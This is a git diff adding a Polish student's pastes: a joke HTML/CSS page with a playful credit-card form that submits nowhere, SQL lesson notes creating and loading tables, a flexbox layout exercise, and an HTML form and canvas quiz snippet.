</ul>
|
||||||
|
<iframe width="150px" height="600px" src="https://www.youtube.com/embed/M8zc1Sxpli0" title="Techno Hed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe>
|
||||||
|
</div>
|
||||||
|
<div class="content">
|
||||||
|
<form>
|
||||||
|
Numer karty kredytowej i te dziwne cyferli z tyłu<input type="text">
|
||||||
|
</form>
|
||||||
|
<br>
|
||||||
|
<form>
|
||||||
|
Czy piwo to twoje paliwo?<textarea>Odpowiedź</textarea>
|
||||||
|
</form>
|
||||||
|
<br>
|
||||||
|
<form>
|
||||||
|
Kliknij
|
||||||
|
<select>
|
||||||
|
<option>tutaj</option>
|
||||||
|
<option>Piwo</option>
|
||||||
|
<option>To</option>
|
||||||
|
<option>Moje</option>
|
||||||
|
<option>Paliwo</option>
|
||||||
|
</select>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="page">
|
||||||
|
<embed src="https://bierhalle.pl/images/menu/bierhalle-menu-pl.pdf" width="150px" height="350px" >
|
||||||
|
<embed src="Piwo.txt" height="400px" width="150px">
|
||||||
|
</div>
|
||||||
|
<div id="stopa">
|
||||||
|
<a href="https://m.media-amazon.com/images/I/61+VIuo0LlL._AC_UF894,1000_QL80_.jpg"><img src="https://assets.albiononline.com/assets/images/header/logo.png?cb=2.115.1"
|
||||||
|
width="780px"
|
||||||
|
height="50px"></a>
|
||||||
|
|
||||||
|
|
||||||
|
<div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
--------------------------------
|
||||||
|
body{
|
||||||
|
background-image: url(https://i.redd.it/e0fkw8wmv6b61.jpg); background-size: cover; background-position: center;
|
||||||
|
}
|
||||||
|
#logo{
|
||||||
|
width: 400px;
|
||||||
|
height:100px;
|
||||||
|
background-color:azure;
|
||||||
|
font-size: 45px;
|
||||||
|
text-align: center;
|
||||||
|
font-family: Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;
|
||||||
|
color: rgb(70, 70, 70) ;
|
||||||
|
margin: 5px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
||||||
|
.page{
|
||||||
|
width: 150px;
|
||||||
|
height: 750px;
|
||||||
|
background-color:azure;
|
||||||
|
text-align: center;
|
||||||
|
float: left;
|
||||||
|
margin: 5px;
|
||||||
|
margin-left: 5px;
|
||||||
|
margin-right: 5px;
|
||||||
|
}
|
||||||
|
.content{
|
||||||
|
width: 480px;
|
||||||
|
height: 750px;
|
||||||
|
background-image:url("https://media.tenor.com/R5IECfIf34YAAAAd/fish-spinning.gif");
|
||||||
|
text-align: center;
|
||||||
|
float: left;
|
||||||
|
margin: 5px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
font-size: 20px;
|
||||||
|
color: gray
|
||||||
|
}
|
||||||
|
#stopa{
|
||||||
|
width: 790px;
|
||||||
|
height:60px;
|
||||||
|
background-color:azure;
|
||||||
|
text-align: center;
|
||||||
|
color: rgb(70, 70, 70) ;
|
||||||
|
clear: both;
|
||||||
|
margin: 5px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
||||||
|
.blok{
|
||||||
|
width: 800px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
9
pastes/paste_db5656.txt
Normal file
9
pastes/paste_db5656.txt
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
#
|
||||||
|
# ID: db5656
|
||||||
|
# Nazwa: arch configs
|
||||||
|
# Opis:
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-12-05 18:55:10
|
||||||
|
#
|
||||||
|
|
||||||
|
include ~/.config/nano/syntax-highlighting/*
|
47
pastes/paste_e49f22.txt
Normal file
47
pastes/paste_e49f22.txt
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
#
|
||||||
|
# ID: e49f22
|
||||||
|
# Nazwa: Notatki bazy danych 20.10.2023
|
||||||
|
# Opis: Notatki bazy danych (piątek rano lekcja 5)
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-20 06:04:39
|
||||||
|
#
|
||||||
|
|
||||||
|
-- Tworzenie bazy danych
|
||||||
|
CREATE DATABASE `mr_2017_MG`;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
-- Tworzenie tabel
|
||||||
|
CREATE TABLE
|
||||||
|
programy (
|
||||||
|
id_programu INT PRIMARY KEY UNSIGNED AUTO_INCREMENT,
|
||||||
|
program VARCHAR(100),
|
||||||
|
rodzaj VARCHAR(50),
|
||||||
|
cena INT UNSIGNED
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE
|
||||||
|
pakiety (
|
||||||
|
id_pakietu INT PRIMARY KEY UNSIGNED AUTO_INCREMENT,
|
||||||
|
nazwa VARCHAR(100),
|
||||||
|
firma VARCHAR(100)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE
|
||||||
|
zestawy (id_pakietu INT UNSIGNED, id_programu INT UNSIGNED);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
-- Dodawanie kluczy obcych
|
||||||
|
ALTER TABLE `zestawy` ADD FOREIGN KEY (`id_programu`) REFERENCES `programy` (`id_programu`);
|
||||||
|
|
||||||
|
ALTER TABLE `zestawy` ADD FOREIGN KEY (`id_pakietu`) REFERENCES `pakiety` (`id_pakietu`);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
-- Wczytywanie danych z plików
|
||||||
|
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 5\\programy.txt' INTO TABLE `programy` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
|
||||||
|
|
||||||
|
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 5\\pakiety.txt' INTO TABLE `pakiety` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
|
||||||
|
|
||||||
|
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 5\\zestawy.txt' INTO TABLE `zestawy` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
|
125
pastes/paste_ebfc18.txt
Normal file
125
pastes/paste_ebfc18.txt
Normal file
@ -0,0 +1,125 @@
|
|||||||
|
#
|
||||||
|
# ID: ebfc18
|
||||||
|
# Nazwa: Kod HTML flexbox
|
||||||
|
# Opis: Moj kod z lekcji 12.10.2023
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-15 13:51:00
|
||||||
|
#
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="pl">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Zadanie</title>
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
font-size: 20px;
|
||||||
|
|
||||||
|
--bg-color: black;
|
||||||
|
--box-color: white;
|
||||||
|
--text-color: black;
|
||||||
|
}
|
||||||
|
body {
|
||||||
|
background: var(--bg-color);
|
||||||
|
}
|
||||||
|
.container {
|
||||||
|
width: 100%;
|
||||||
|
display: flex;
|
||||||
|
height: 100%;
|
||||||
|
position: absolute;
|
||||||
|
background: var(--bg-color);
|
||||||
|
gap: 5%;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
}
|
||||||
|
.container .pos {
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
.container .pos.mid {
|
||||||
|
flex: 2.75;
|
||||||
|
}
|
||||||
|
|
||||||
|
.left {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.left .box {
|
||||||
|
width: 100%;
|
||||||
|
background: var(--box-color);
|
||||||
|
aspect-ratio: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mid {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-around;
|
||||||
|
align-items: center;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 5%;
|
||||||
|
padding: 0.5%;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mid .box {
|
||||||
|
width: 31%;
|
||||||
|
background: var(--box-color);
|
||||||
|
aspect-ratio: 1;
|
||||||
|
border-radius: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.right {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 2rem;
|
||||||
|
}
|
||||||
|
.right .box {
|
||||||
|
width: 100%;
|
||||||
|
background: var(--box-color);
|
||||||
|
aspect-ratio: 1;
|
||||||
|
}
|
||||||
|
.mid .widebox {
|
||||||
|
flex: 0 0 100%;
|
||||||
|
background: var(--box-color);
|
||||||
|
height: 18%;
|
||||||
|
width: 100%;
|
||||||
|
margin-top: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.right .widebox {
|
||||||
|
width: 100%;
|
||||||
|
background: var(--box-color);
|
||||||
|
flex: auto 2;
|
||||||
|
}
|
||||||
|
.box, .widebox {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
color: var(--text-color);
|
||||||
|
padding: 1rem;
|
||||||
|
box-sizing: border-box;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="pos left">
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="box"></div>
|
||||||
|
</div>
|
||||||
|
<div class="pos mid">
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="widebox"></div>
|
||||||
|
</div>
|
||||||
|
<div class="pos right">
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="widebox"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
54
pastes/paste_f14909.txt
Normal file
54
pastes/paste_f14909.txt
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
#
|
||||||
|
# ID: f14909
|
||||||
|
# Nazwa: kod na kartkówke ze zgrzebą - svg
|
||||||
|
# Opis: a
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-20 06:32:29
|
||||||
|
#
|
||||||
|
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD
|
||||||
|
HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
|
||||||
|
<html lang="pl">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<link rel="stylesheet" href="main.css">
|
||||||
|
<title>Strona w HTML5</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="klasa">
|
||||||
|
<form>
|
||||||
|
<input name="pole" placeholder="Szukaj!">
|
||||||
|
<input name="ocana" type="number" min="2" max="5" step="0.5" value="2">
|
||||||
|
<input name="poprawka" type="range" min="2" max="5" step="0.5" value="2">
|
||||||
|
<input name="termin" type="date" required>
|
||||||
|
<input name="adres" type="email" autofocus>
|
||||||
|
<input name="kolor" type="color">
|
||||||
|
<input type="submit" value="Szukaj">
|
||||||
|
<script type="text/javascript">
|
||||||
|
function Draw()
|
||||||
|
{
|
||||||
|
var canvas = document.getElementById("c");
|
||||||
|
var c = canvas.getContext("2d");
|
||||||
|
c.fillRect(0, 0, 400, 400);
|
||||||
|
}
|
||||||
|
window.onload = Draw;
|
||||||
|
</script>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<canvas id="c" width="400" height="400"></canvas>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
-------------------------------
|
||||||
|
.klasa
|
||||||
|
{
|
||||||
|
font-size: 50px;
|
||||||
|
position: absolute;
|
||||||
|
top: 10px;
|
||||||
|
right: 10px;
|
||||||
|
padding: 50px;
|
||||||
|
border: 1px solid #666;
|
||||||
|
text-shadow: 5px 2px 5px #666;
|
||||||
|
box-shadow: 10px 10px 5px #888;
|
||||||
|
}
|
||||||
|
|
||||||
|
#c { border-radius: 20px 250px; }
|
Loading…
Reference in New Issue
Block a user